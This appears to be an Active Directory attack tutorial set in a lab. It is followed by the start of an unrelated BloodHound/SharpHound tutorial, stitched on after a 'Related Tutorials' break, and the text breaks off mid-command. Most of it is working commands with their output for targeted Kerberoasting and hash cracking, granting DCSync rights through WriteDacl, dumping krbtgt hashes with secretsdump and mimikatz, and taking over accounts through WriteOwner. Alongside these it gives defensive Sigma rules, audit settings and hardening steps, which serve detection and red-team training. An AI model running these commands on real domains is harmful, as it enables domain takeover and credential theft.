Kerberos issues two ticket types. After pre-authentication the KDC’s AS issues a TGT (Ticket Granting Ticket) encrypted with the krbtgt key, carrying a PAC (Privilege Attribute Certificate) that lists the user’s SIDs. To reach a service the client presents the TGT to the TGS, which returns a service ticket (TGS-REP) encrypted with the target service account’s NT hash. Any account with a servicePrincipalName set can have a service ticket requested for it by any authenticated user. The ticket is encrypted with that account’s password-derived key, so if the password is weak you crack it offline. That is Kerberoasting. “Targeted” means you write the SPN yourself onto an account that did not have one, using your write access.

Set-DomainObject -Identity alice -Set @{serviceprincipalname='fake/kerberoast'}
Get-DomainUser alice | Get-DomainSPNTicket | Select-Object -ExpandProperty Hash
$krb5tgs$23$*alice$LAB.LOCAL$fake/kerberoast*$A1B2C3D4E5F60718293A4B5C6D7E8F90$
9f3c...c4e1a2b8...[ ~2KB hex blob ]...0d77f6b41c9e8a3f2b1d05e9c7a64f8231bb9e44
hashcat -m 13100 alice_tgs.txt rockyou.txt
$krb5tgs$23$*alice$LAB.LOCAL$fake/kerberoast*...:Summer2023!
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

Clean up by removing the SPN afterward (Set-DomainObject -Identity alice -Clear serviceprincipalname) so you do not leave the artifact behind. A null SPN write that you forget to revert is the kind of thing that lands you in an IR report.


8. Abusing WriteDacl to Grant DCSync

This is the headline. svc_backup has WriteDacl on the domain object. WriteDacl does not directly grant replication, but it lets you write any ACE you want, including the two replication ACEs that are DCSync.

First, prove the right exists from the svc_backup context (enumeration before action, always):

Get-DomainObjectAcl -Identity "DC=LAB,DC=local" -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier -match (Get-ADUser svc_backup).SID }
AceQualifier          : AccessAllowed
ObjectDN              : DC=LAB,DC=local
ActiveDirectoryRights : WriteDacl
ObjectAceType         : None
SecurityIdentifier    : S-1-5-21-3623811015-3361044348-30300820-1143
IsInherited           : False

Now write the DCSync ACE. PowerView’s -Rights DCSync shortcut adds both replication GUIDs in one call:

Add-DomainObjectAcl -TargetIdentity "DC=LAB,DC=local" `
                    -PrincipalIdentity svc_backup `
                    -Rights DCSync -Verbose
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (|(distinguishedname=DC=LAB,DC=local))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local 'DCSync' on DC=LAB,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local rights GUID '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=svc_backup,CN=Users,DC=LAB,DC=local rights GUID '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'

From Linux, Impacket’s dacledit.py does the same write over LDAP:

dacledit.py -action write -rights DCSync \
  -principal svc_backup -target-dn "DC=LAB,DC=local" \
  LAB.local/svc_backup:'Password1!' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20240521-150812.bak
[*] DACL modified successfully!

Note dacledit.py writes a .bak of the original DACL. Keep it. Restoring the original descriptor afterward is the difference between a clean test and leaving a backdoored domain.

Re-run the section 6 enumeration to confirm the new edge:

SecurityIdentifier   ObjectAceType
------------------   -------------
LAB\svc_backup       DS-Replication-Get-Changes
LAB\svc_backup       DS-Replication-Get-Changes-All

svc_backup now holds both replication rights. It can DCSync.


Flow diagram showing svc_backup using WriteDacl to write two replication ACEs onto the domain object, then executing DCSync via DRSUAPI to retrieve the krbtgt hash
WriteDacl on the domain object is a two-step path to DCSync: write both replication GUIDs as ACEs, then call DsGetNCChanges to pull credential secrets.

9. Executing DCSync

svc_backup asks a DC to replicate secrets through DRSUAPI. No code runs on the DC, no file is touched on disk. It looks, at the wire level, like one domain controller syncing from another, except the requester is a service account.

From Linux with Impacket’s secretsdump.py:

secretsdump.py -just-dc LAB.local/svc_backup:'Password1!'@192.168.56.10
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
alice:1145:aad3b435b51404eeaad3b435b51404ee:5fbc3d5e8b9d7a4c1e2f0a6b8c4d7e90:::
helpdesk01:1142:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
krbtgt:aes128-cts-hmac-sha1-96:a1b2c3d4e5f60718293a4b5c6d7e8f90
[*] Cleaning up...

For a Golden Ticket you only need krbtgt, so scope the request:

secretsdump.py -just-dc-user krbtgt LAB.local/svc_backup:'Password1!'@192.168.56.10
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
krbtgt:aes256-cts-hmac-sha1-96:5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
[*] Cleaning up...

From Windows, Mimikatz does the same over LDAP into DRSUAPI:

mimikatz.exe "lsadump::dcsync /domain:LAB.local /user:LAB\krbtgt" "exit"
[DC] 'LAB.local' will be the domain
[DC] 'DC01.LAB.local' will be the DC server
[DC] 'LAB\krbtgt' will be the user account

Object RDN           : krbtgt
** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )

Credentials:
  Hash NTLM: f3bc61e97fb14d18c42bcbf6c3a9055f
    aes256_hmac : 5e1a9c3b7d2f4068a1c5e93b27f640d8a1b4c7e92f035d816a9c4b7e0f263d59
    aes128_hmac : a1b2c3d4e5f60718293a4b5c6d7e8f90

You hold the krbtgt NT hash and AES256 key. That is full and persistent domain compromise: forge a Golden Ticket and you are any user, any time, until krbtgt is rotated twice.


10. The WriteOwner Chain

Sometimes you do not get WriteDacl directly. You get WriteOwner. The owner of an object can always rewrite its DACL regardless of the current ACEs, so WriteOwner is a three-step path to full control. Enumerate the owner first to confirm you can change it:

Get-DomainObjectAcl -Identity alice -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match "WriteOwner" }
ActiveDirectoryRights : WriteOwner
ObjectDN              : CN=alice,CN=Users,DC=LAB,DC=local
SecurityIdentifier    : S-1-5-21-3623811015-3361044348-30300820-1142
IsInherited           : False

Take ownership, grant yourself full rights, then act:

# Step 1: become the owner
Set-DomainObjectOwner -Identity alice -OwnerIdentity helpdesk01

# Step 2: now that we own it, write ourselves full control
Add-DomainObjectAcl -TargetIdentity alice -PrincipalIdentity helpdesk01 -Rights All

# Step 3: reset the password
Set-DomainUserPassword -Identity alice -AccountPassword (ConvertTo-SecureString 'Owned123!' -AsPlainText -Force)
VERBOSE: [Set-DomainObjectOwner] Attempting to set the owner for 'alice' to 'helpdesk01'
VERBOSE: [Add-DomainObjectAcl] Granting principal ...-1142 'All' rights on CN=alice,CN=Users,DC=LAB,DC=local
VERBOSE: [Set-DomainUserPassword] Password for user 'alice' successfully reset

The lesson: WriteOwner and WriteDacl are functionally GenericAll waiting two extra commands. Treat them as identical risk in your defensive triage.


11. Detection, Defense, and ACL Hygiene

Every step above generates evidence if you are auditing the right things. The catch is that DS Access auditing is off by default, so most domains see none of this.

Enable the audit policy

Configure via GPO at Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Configuration -> DS Access:

  • Audit Directory Service Access (Success, Failure) enables Event ID 4662.
  • Audit Directory Service Changes (Success) enables Event ID 5136.
  • Audit Directory Service Object Access (Success) enables 4670.

Windows Security Event IDs

Event IDTriggerWhat to look for
4662Operation performed on an AD objectNon-DC principal accessing properties 1131f6aa, 1131f6ad, 89e95b76; filter AccessMask: 0x100
5136Directory service object modifiedObjectClass: domainDNS with a new ACE carrying replication GUIDs; also catches the WriteDacl grant
4670Permissions on an object changedDACL changes on user/group/domain objects by unexpected trustees
4728/4732/4756Member added to a security-enabled groupSudden additions to Domain Admins / Enterprise Admins

The DCSync from section 9 fires 4662 on the DC for replication access against the domain object. Any principal whose name does not end in $ (machine accounts) generating those GUIDs is your alert. The DCSync grant from section 8 fires 5136 with ObjectClass=domainDNS and a modified nTSecurityDescriptor, which is the single highest-fidelity detection in this whole chain because legitimate DACL changes on the domain head are rare.

Sigma rules

DCSync rights addition, mapping to the canonical SigmaHQ rule win_security_account_backdoor_dcsync_rights.yml:

title: Replication Rights Granted on Domain Object
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136
    ObjectClass: domainDNS
    AttributeLDAPDisplayName: nTSecurityDescriptor
  condition: selection
level: high

DCSync execution detection via 4662, filtering out legitimate DC machine accounts:

title: DCSync Replication via DRSUAPI by Non-DC Principal
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'
      - '89e95b76-444d-4c62-991a-0facbeda640c'
  filter:
    SubjectUserName|endswith: '$'   # exclude legitimate DC machine accounts
  condition: selection and not filter
level: critical

Catching the enumeration

SharpHound, dacledit.py, and secretsdump.py are catchable at process and network layers with Sysmon:

Sysmon EIDUse
1 (Process Create)Match Image/CommandLine containing SharpHound, BloodHound, dacledit, secretsdump
11 (File Create)Match TargetFilename like *_BloodHound.zip, *_computers.json, *_acls.json
3 (Network Connect)High-volume LDAP (TCP 389/636) from a non-DC workstation to a DC in a short window
title: SharpHound ACL Collection Execution
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    EventID: 1
    CommandLine|contains:
      - 'CollectionMethods ACL'
      - 'SharpHound'
  condition: selection
level: medium

The ETW provider Microsoft-Windows-Security-Auditing generates 4662/5136/4670. Microsoft-Windows-LDAP-Client gives query telemetry, noisy but useful for baselining what normal LDAP volume looks like before you alert on the spike SharpHound creates.

Hardening and ACL hygiene

  1. Limit replication rights strictly to accounts that genuinely need them. Only Domain Controllers should hold DS-Replication-Get-Changes and DS-Replication-Get-Changes-All. Anything else is a DCSync vector waiting for that account to be phished.
  2. Remove GenericAll, WriteDacl, WriteOwner, and ForceChangePassword rights that cannot be explicitly justified on high-value objects. This is where permission sprawl lives.
  3. Put all Tier 0 accounts in the Protected Users group and confirm AdminSDHolder propagation runs on schedule. Remember AdminCount=1 objects do not inherit container ACEs, so verify SDProp is actually overwriting their DACLs from a clean template.
  4. Deploy Microsoft Defender for Identity (or ATA), which has built-in analytics for DCSync and anomalous replication requests originating from non-DC hosts.
  5. Run BloodHound CE defensively on a schedule. Collect the same ACL graph the attacker would and triage new dangerous edges before someone external finds them. The tool that maps your attack path is the tool that maps your remediation list.

An illustration of a shield with a magnifying glass examining dangerous red permission chains versus safe green ones, symbolizing ACL auditing and defense
Defensive ACL enumeration with the same tools attackers use – BloodHound run offensively by defenders – is the most reliable way to find and close dangerous permission edges before they are exploited.

12. Tools for ACL and DACL Analysis

ToolDescriptionLink
PowerViewGet-DomainObjectAcl, Add-DomainObjectAcl, Set-DomainObjectOwner, Set-DomainUserPasswordgithub.com/PowerShellMafia/PowerSploit
SharpHound / BloodHound CEACL graph collection and Cypher path-findingbloodhound.specterops.io
Impacket dacledit.pyLinux DACL read/write with -action and -rightsgithub.com/fortra/impacket
Impacket secretsdump.pyDCSync over DRSUAPI, -just-dc / -just-dc-usergithub.com/fortra/impacket
Mimikatzlsadump::dcsync from Windowsgithub.com/gentilkiwi/mimikatz
bloodyADLightweight LDAP ACE writes and DCSync grantgithub.com/CravateRouge/bloodyAD
rpcclientsetuserinfo2 for SAMR password resetsamba.org
Native Get-Acl / ADSIBuilt-in DACL read on AD:\ providerlearn.microsoft.com

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Permission Groups Discovery: Domain GroupsT1069.002LDAP query volume, SharpHound process creation (Sysmon EID 1)
Account Discovery: Domain AccountT1087.002Bulk user/ACL enumeration, ADWS spikes
Valid Accounts: Domain AccountsT1078.002Anomalous auth from foothold account
Domain or Tenant Policy ModificationT1484Event ID 5136 on nTSecurityDescriptor, 4670 DACL change
Account ManipulationT1098Event ID 4728/4732 group adds, ACE writes
OS Credential Dumping: DCSyncT1003.006Event ID 4662 replication GUIDs from non-DC principal

A note on a common mis-tag: AD DACL modification is T1484, and DCSync is T1003.006. It is not T1222.001, which is File and Directory Permissions Modification: Windows and covers NTFS DACLs via icacls/takeown. Different object model, different detection. Do not let a SIEM rule conflate them or you will tune out filesystem noise and miss directory abuse.


Summary

  • AD object permission abuse turns a low-privilege account into Domain Admin without a single exploit, by reading and rewriting security descriptors. The whole attack is graph traversal over nTSecurityDescriptor DACLs.
  • GenericAll, WriteDacl, WriteOwner, AllExtendedRights, and ForceChangePassword are the five lethal rights. WriteOwner becomes WriteDacl becomes GenericAll in two commands, so treat them as equal risk.
  • DCSync is a legitimate DsGetNCChanges replication call over DRSUAPI, not file theft. The replication GUIDs 1131f6aa... and 1131f6ad... on the domain object are the keys to the kingdom; only Domain Controllers should hold them.
  • Enumerate before you abuse: PowerView’s Get-DomainObjectAcl -ResolveGUIDs and BloodHound’s shortestPath Cypher reveal the full chain before you touch a single ACE.
  • Detect with DS Access auditing on: Event ID 5136 (ObjectClass=domainDNS, modified nTSecurityDescriptor) catches the DCSync grant, and Event ID 4662 with the replication GUIDs from a non-$ principal catches the dump. Run BloodHound defensively to close the edges first.

Related Tutorials

References

BloodHound and SharpHound: Collection Methods, Edges, and Cypher Hunting for Attack Paths

You have a single low-privilege domain account. Somewhere in this forest sits a path of misconfigurations that walks you straight to Domain Admin, and the only thing standing between you and that path is knowing it exists. That is the entire premise of BloodHound. Active Directory privilege escalation is not magic, it is a graph traversal problem, and SharpHound is the tool that turns a messy domain into a database you can query.

Objective: Understand how SharpHound collects Active Directory data over LDAP and SMB/DCERPC, how BloodHound models that data as a directed attack-path graph, how to hunt choke-point paths with Cypher, and how to chain edges into Domain Admin in a lab, paired with the exact telemetry a defender uses to catch every step.


1. What BloodHound Actually Is

BloodHound is a graph analysis platform built on the Neo4j graph database. Every object in Active Directory becomes a node: users, groups, computers, organizational units (OUs), group policy objects (GPOs), and domains. Every relationship between those objects becomes a directed edge: group membership, ACL permissions, active sessions, trust relationships.

The directionality is the whole point. An edge HELPDESK1 -[GenericAll]-> SVC_SQL means helpdesk1 controls svc_sql, not the other way round. Privilege flows along the arrows. When you ask “how do I get from this account to Domain Admins”, you are literally asking Neo4j for a shortest path through a directed graph, and the database answers in milliseconds what would take a human days of manual ACL spelunking.

The current release is BloodHound Community Edition (CE). It ships as a standalone web UI deployed through Docker (or natively) with a Neo4j backend, replacing the legacy Electron desktop app. SharpHound CE is the official collector, written in C#, and it feeds JSON into Neo4j where the data is stored as nodes and relationships and rendered as the familiar attack-path diagrams.

Why model it this way? Because AD permissions are transitive and non-obvious. A user is a member of a group, which is nested inside another group, which has GenericWrite over a third group, which is local admin on a box where a Domain Admin happens to have a session. No human tracks that. A graph database does it for free with one query.


Conceptual illustration of a directed privilege graph with a path winding from a low-privilege node toward a central domain-admin crown
BloodHound models every AD object as a node and every relationship as a directed edge, turning privilege escalation into a graph shortest-path problem.

2. Lab Setup

Build everything against your own range. Nothing here runs against production.

The lab is three machines:

HostRoleOS
DC01Domain controller, lab.localWindows Server 2022
WS01Domain-joined workstationWindows 10/11
WS02Domain-joined workstationWindows 10/11

Promote DC01 to a domain controller for lab.local, join both workstations, then inject the deliberate misconfigurations. This is the vulnerable target. Run the following on DC01 in an elevated PowerShell session.

# On DC01 - inject deliberate misconfigurations for the lab
Import-Module ActiveDirectory

# Create users
New-ADUser -Name "helpdesk1" -AccountPassword (ConvertTo-SecureString "P@ssw0rd1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_sql"   -AccountPassword (ConvertTo-SecureString "Sqlpass123!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "da_user"   -AccountPassword (ConvertTo-SecureString "DaPass456!" -AsPlainText -Force)  -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "da_user"

# Register SPN on svc_sql (makes it Kerberoastable)
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/WS01.lab.local:1433"}

# Grant helpdesk1 GenericAll over svc_sql (ACL misconfiguration)
$acl = Get-ACL "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"
$sid = (Get-ADUser helpdesk1).SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
$acl.AddAccessRule($ace)
Set-ACL -AclObject $acl "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"

# Enable unconstrained delegation on WS01
Set-ADComputer WS01 -TrustedForDelegation $true

# Grant helpdesk1 RDP rights on a workstation
Add-ADGroupMember -Identity "Remote Desktop Users" -Members "helpdesk1"
# Verification output
Name      SamAccountName  Enabled
----      --------------  -------
helpdesk1 helpdesk1       True
svc_sql   svc_sql         True
da_user   da_user         True

ServicePrincipalNames : {MSSQLSvc/WS01.lab.local:1433}
TrustedForDelegation  : True   (WS01)

Now stand up BloodHound CE on your operator box (Linux or Windows with Docker).

# BloodHound CE via Docker Compose (one-time setup)
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker compose -f docker-compose.yml up -d
[+] Running 4/4
  - Container bloodhound-app-db-1     Started
 - Container bloodhound-graph-db-1   Started
 - Container bloodhound-bloodhound-1 Started
Initial password printed to logs. Browse to http://localhost:8080

Grab the bootstrap admin password from the container logs, log in at http://localhost:8080, and confirm Neo4j connectivity by checking the database info panel. You now have an empty graph waiting for data.


3. SharpHound Internals

Before running the collector, understand what it actually does on the wire. Detection lives in these details, and so does opsec.

Transport and Protocol Layer

SharpHound collects through three Windows data-gathering channels:

  • LDAP(S) to domain controllers. This is how it enumerates the AD structure itself: every object, every attribute, every ACL. LDAP is the directory query protocol, and a DC will happily answer authenticated queries for almost the entire schema because most attributes are world-readable to any authenticated user. That single fact is what makes DCOnly collection so effective and so quiet relative to session hunting.
  • SMB with DCERPC to domain-joined hosts. Named pipes carry remote procedure calls to enumerate permissions and session data the DC does not hold.
  • Remote SAM and Remote Registry for local group membership and logged-on user enumeration.

.NET API Internals

Older ingestors used the DirectorySearcher class in the System.ActiveDirectory namespace. That class is convenient but drags in ADSI and COM overhead, producing more traffic and lower performance. SharpHound moved to the lower-level System.ActiveDirectory.Protocols namespace, driving LDAP directly with LdapConnection paired with SearchRequest and SearchResponse. Fewer round trips, tighter control over filters, less noise.

LDAP results are streamed, not buffered whole. The maximum size of the BlockingCollection used to collect data from LDAP is set to 1,000 items. The producer keeps the input queue full while consumers drain it, so SharpHound holds only 1,000 objects in memory at a time regardless of forest size. That producer-consumer pattern is why a 200,000-object forest does not blow out memory.

Windows APIs SharpHound Calls

API FunctionPurpose
NetSessionEnum (srvcli.dll)Enumerate active SMB sessions to find which users are logged on where
NetWkstaUserEnum (netapi32.dll)Enumerate interactive, service, and batch logons on a host
RegEnumKeyEx (advapi32.dll)Read registry to identify interactively logged-on users via their SIDs under HKU
NetLocalGroupGetMembersLegacy local group membership query, internally a series of SAMRPC calls

That last entry hides a classic gotcha. Asking NetLocalGroupGetMembers for the group literally named Administrators works in English domains and breaks on localized ones (German, French, and so on use translated group names). Watch the call in Wireshark and it decomposes into several SAMRPC library calls against the remote SAM. Modern SharpHound resolves groups by RID instead, which is also why the named-pipe \samr traffic is such a reliable detection anchor.


4. Collection Methods Deep Dive

The collector is driven by -c / --collectionmethods. The full set of values:

FlagData CollectedNoise
DefaultGroup, trusts, local group, sessions, ACLs, object props, SPN targetsMedium-high
DCOnlyEverything queryable from the DC over LDAP: groups, ACLs, GPOs, trusts. No sessionsLow
SessionLogged-on sessions via NetSessionEnum / NetWkstaUserEnumHigh (lateral)
LoggedOnPrivileged session enumeration via registry and wkssvcHigh
LocalGroupLocal group membership via SAMRPCMedium
ACLDACLs on AD objectsLow
ObjectPropsFull object attributesLow
TrustsDomain and forest trust relationshipsLow
UserRightsUser Rights Assignments (URAs) for accurate CanRDPMedium
CARegistry / DCRegistry / CertServicesADCS CA config for ESC edgesMedium
Container, GPOLocalGroup, RDP, DCOM, ComputerOnly, WebClientService, NTLMRegistry, SMBInfo, LdapServicesTargeted sub-collectionsVaries

A few of these matter more than their one-line summary suggests.

UserRights is what lets BloodHound stop guessing. User Rights Assignments define what a principal can do on a system independent of group membership. Before SharpHoundCommon v3, BloodHound inferred CanRDP purely from Remote Desktop Users membership. Collecting URAs lets it compute the edge accurately, including the deny rights that silently override allows.

The ADCS registry flags drive Certified Pre-Owned edges. SharpHound reads CA configuration under SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA Name>, including EnrollmentAgentRights (used to calculate ESC3) and checks for the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (required for ESC6). It also collects Kdc\StrongCertificateBindingEnforcement and Schannel\CertificateMappingMethods from DCs, which feed ESC6, ESC9, and ESC10 edge calculation.

Now run it. From a domain-joined operator host:

SharpHound.exe --CollectionMethods All --Domain lab.local --ZipFilename lab_data.zip
2024-XX-XX  Initializing SharpHound at 14:02 on lab.local
2024-XX-XX  Resolved current domain to lab.local
2024-XX-XX  Loaded cache with stats: 0 ID to type mappings.
2024-XX-XX  Status: 0 objects finished (+0)  --  Using 28 MB RAM
2024-XX-XX  Beginning LDAP search for lab.local
2024-XX-XX  Producer has finished, closing LDAP channel
2024-XX-XX  Status: 412 objects finished (+412 51.5)/s  --  Using 41 MB RAM
2024-XX-XX  Enumeration finished in 00:00:09.1
2024-XX-XX  SharpHound Enumeration Completed at 14:02
2024-XX-XX  Saving cache with stats: 187 ID to type mappings.
2024-XX-XX  Output written to: 20240XX-lab_data.zip

For an opsec comparison, the DC-only variant never touches the workstations:

SharpHound.exe --CollectionMethods DCOnly --Domain lab.local
2024-XX-XX  Beginning LDAP search for lab.local
2024-XX-XX  Status: 398 objects finished (+398 99.5)/s  --  Using 39 MB RAM
2024-XX-XX  Enumeration finished in 00:00:04.0

Note the difference: All makes network connections to every reachable domain-joined computer to query sessions, generating the lateral SMB traffic that lights up network detections. DCOnly talks to one host. For sessions you can loop:

SharpHound.exe --CollectionMethods Session --Loop --Loopduration 01:00:00 --LoopInterval 00:05:00
2024-XX-XX  Looping enabled. Loops will start after initial enumeration
2024-XX-XX  Starting loop 1 at 14:10
2024-XX-XX  Loop 1 finished, sleeping 00:05:00

If your operator box is not domain joined, prime the credential cache first:

runas /netonly /user:lab\helpdesk1 cmd.exe
Enter the password for lab\helpdesk1:
Attempting to start cmd.exe as user "lab\helpdesk1" ...

Then run SharpHound inside that shell. The /netonly flag uses those credentials for network authentication while keeping your local context, which is exactly how you collect from a foothold without a domain join.


Hierarchy diagram showing SharpHound splitting into LDAP and SMB/DCERPC channels, LDAP targeting the domain controller for objects and ACLs, SMB targeting domain hosts for sessions and local groups via the remote SAM named pipe
SharpHound drives LDAP directly to the DC for directory data and uses SMB/DCERPC named pipes to hosts for session and local-group enumeration.

5. Edge Catalogue and Abuse Chains

Edges are the verbs of the graph. Each one is a concrete abuse primitive.

EdgeMeaningAbuse Primitive
MemberOfGroup membershipTransitive privilege traversal
AdminToLocal admin on a computerPsExec, DCOM, WMI execution
HasSessionActive session on a computerCredential dump (Mimikatz)
CanRDPRDP rightsLateral movement
ExecuteDCOMDCOM exec rightsLateral movement
CanPSRemoteWinRM/PSRemote rightsLateral movement
SQLAdminSQL admin linkSQL query execution
TrustedByDomain trustCross-domain attack
Contains / GpLinkOU containment / linked GPOGPO abuse over scoped objects
AllowedToDelegateConstrained delegationKerberos ticket forgery
AllowedToActResource-based constrained delegationRBCD attack
GetChanges + GetChangesAllDCSync rights (both required)lsadump::dcsync
ReadLAPSPasswordRead LAPS admin passwordPlaintext retrieval
AddMemberAdd members to groupPrivilege escalation

The ACL edges deserve precise definitions because they are the bulk of real-world paths:

  • GenericAll: full object control. Add principals to a group, reset a user password without knowing the old one, register an SPN on a user object. Abused with Set-DomainUserPassword or Add-DomainGroupMember.
  • GenericWrite: update any non-protected attribute. Set scriptPath on a target user to run your executable at next logon. Abused with Set-DomainObject.
  • WriteOwner: change object ownership. Make yourself owner, then grant yourself anything. Abused with Set-DomainObjectOwner.
  • WriteDACL: write a new ACE to the object’s DACL, granting yourself full control. The owner-to-full-control pivot pairs with WriteOwner.
  • ForceChangePassword: reset the target’s password blind. Abused with Set-DomainUserPassword.
  • AllExtendedRights: all extended rights including reading confidential attributes like ms-Mcs-AdmPwd (LAPS) and forcing password resets.

Why are these abusable at the protocol level? A DACL on an AD object is a list of access control entries (ACEs), each binding a SID to a set of rights. The directory enforces those rights but does not care whether granting helpdesk a GenericAll ACE over a service account makes operational sense. Permission sprawl from years of helpdesk delegation, vendor installers, and copy-pasted ACLs leaves these ACEs scattered everywhere. BloodHound just reads them and draws the arrow.

Unconstrained delegation is the highest-value edge in most forests. A computer trusted for unconstrained delegation caches the Kerberos TGT of every user who authenticates to it. Compromise that box, coerce a domain controller to authenticate to it (PrinterBug/SpoolSample or PetitPotam), and you capture the DC’s own TGT. With the DC’s TGT you request service tickets as anyone, including Domain Admins. Find these machines with one Cypher line:

MATCH (c:Computer {unconstraineddelegation: true}) RETURN c.name

Token privileges and logon rights round out what ACL-only graphs miss. Privileges like SeBackupPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, and SeAssignPrimaryTokenPrivilege bypass DACL checks entirely, so mapping them domain-wide exposes local privilege-escalation edges. Logon rights (SeInteractiveLogonRight, SeRemoteInteractiveLogonRight, SeNetworkLogonRight, SeServiceLogonRight, SeBatchLogonRight, plus their SeDeny* counterparts) are enforced by LSA before a token even exists, and the deny variants take precedence. They gate lateral movement at the door, which is why UserRights collection sharpens every movement edge.


6. Cypher Query Hunting

Cypher is Neo4j’s query language. The mental model: MATCH a pattern, optionally WHERE-filter it, RETURN the result. Patterns are drawn ASCII-art style with () for nodes and -[]-> for directed edges.

First, mark your foothold as owned. The owned flag drives the most useful pre-built queries.

MATCH (u:User {name: "HELPDESK1@LAB.LOCAL"}) SET u.owned = true RETURN u
+----------------------------------------------------+
| u                                                  |
+----------------------------------------------------+
| (:User:Base {name:"HELPDESK1@LAB.LOCAL",           |
|  owned:true, objectid:"S-1-5-21-1840...-1105"})    |
+----------------------------------------------------+

Now ask the central question: what is the shortest path from this owned account to Domain Admins?

MATCH p = shortestPath(
  (u:User {owned: true})-[*1..]->(g:Group {name: "DOMAIN ADMINS@LAB.LOCAL"})
) RETURN p
1 path returned
HELPDESK1@LAB.LOCAL
  -[GenericAll]-> SVC_SQL@LAB.LOCAL
  -[AdminTo]->    WS02.LAB.LOCAL
  -[HasSession]-> DA_USER@LAB.LOCAL
  -[MemberOf]->   DOMAIN ADMINS@LAB.LOCAL

There it is. Four edges from helpdesk to Domain Admin. The [*1..] means “one or more edges of any type”, and shortestPath returns the tightest route. Use allShortestPaths when you want every equally short option.

Hunt the ACL abuse opportunities directly:

MATCH p = (n:User)-[:GenericAll]->(m:User) RETURN p
HELPDESK1@LAB.LOCAL -[GenericAll]-> SVC_SQL@LAB.LOCAL

Find Kerberoastable accounts (those with an SPN set):

MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
+---------------------+-----------------------------------+
| u.name              | u.serviceprincipalnames           |
+---------------------+-----------------------------------+
| SVC_SQL@LAB.LOCAL   | ["MSSQLSvc/WS01.lab.local:1433"]  |
+---------------------+-----------------------------------+

Run choke-point analysis. The accounts with the most AdminTo reach are the ones you defend or attack first:

MATCH (u:User)-[r:MemberOf|AdminTo*1..]->(c:Computer)
WITH u.name AS name, COUNT(DISTINCT c) AS count
RETURN name, count ORDER BY count DESC LIMIT 10
+------------------------+-------+
| name                   | count |
+------------------------+-------+
| DA_USER@LAB.LOCAL      | 3     |
| SVC_SQL@LAB.LOCAL      | 1     |
+------------------------+-------+

Find principals that can DCSync (both GetChanges and GetChangesAll are required, so query the intersection):

MATCH p = (n)-[:GetChanges]->(d:Domain)
MATCH q = (n)-[:GetChangesAll]->(d)
RETURN n.name, d.name
+-------------------------------+------------+
| n.name                        | d.name     |
+-------------------------------+------------+
| DOMAIN ADMINS@LAB.LOCAL       | LAB.LOCAL  |
| ENTERPRISE ADMINS@LAB.LOCAL   | LAB.LOCAL  |
+-------------------------------+------------+

That intersection logic matters. A principal with only one of the two rights cannot replicate secrets; BloodHound’s DCSync edge correctly requires both, and so should your hunting query.


7. Adversary Emulation Walkthrough

End to end in the lab. Enumeration first at every step, then exploitation, with the telemetry each action generates.

Step 1: Enumerate the ACL Opportunity

Before touching svc_sql, confirm the GenericAll edge BloodHound surfaced is real. Use PowerView from your helpdesk1 context.

Import-Module .\PowerView.ps1
$sid = (Get-DomainUser helpdesk1).objectsid
Get-DomainObjectAcl -Identity svc_sql -ResolveGUIDs |
  ? { $_.SecurityIdentifier -eq $sid } |
  Select SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier                            ActiveDirectoryRights
------------------                            ---------------------
S-1-5-21-1840391731-2024753214-3672591890-1105 GenericAll

That confirms helpdesk1 holds GenericAll over svc_sql. GenericAll includes the right to reset the password without the current value, so this account is fully ours to take over.

Step 2: Abuse GenericAll, Force a Password Reset

Set-DomainUserPassword -Identity svc_sql `
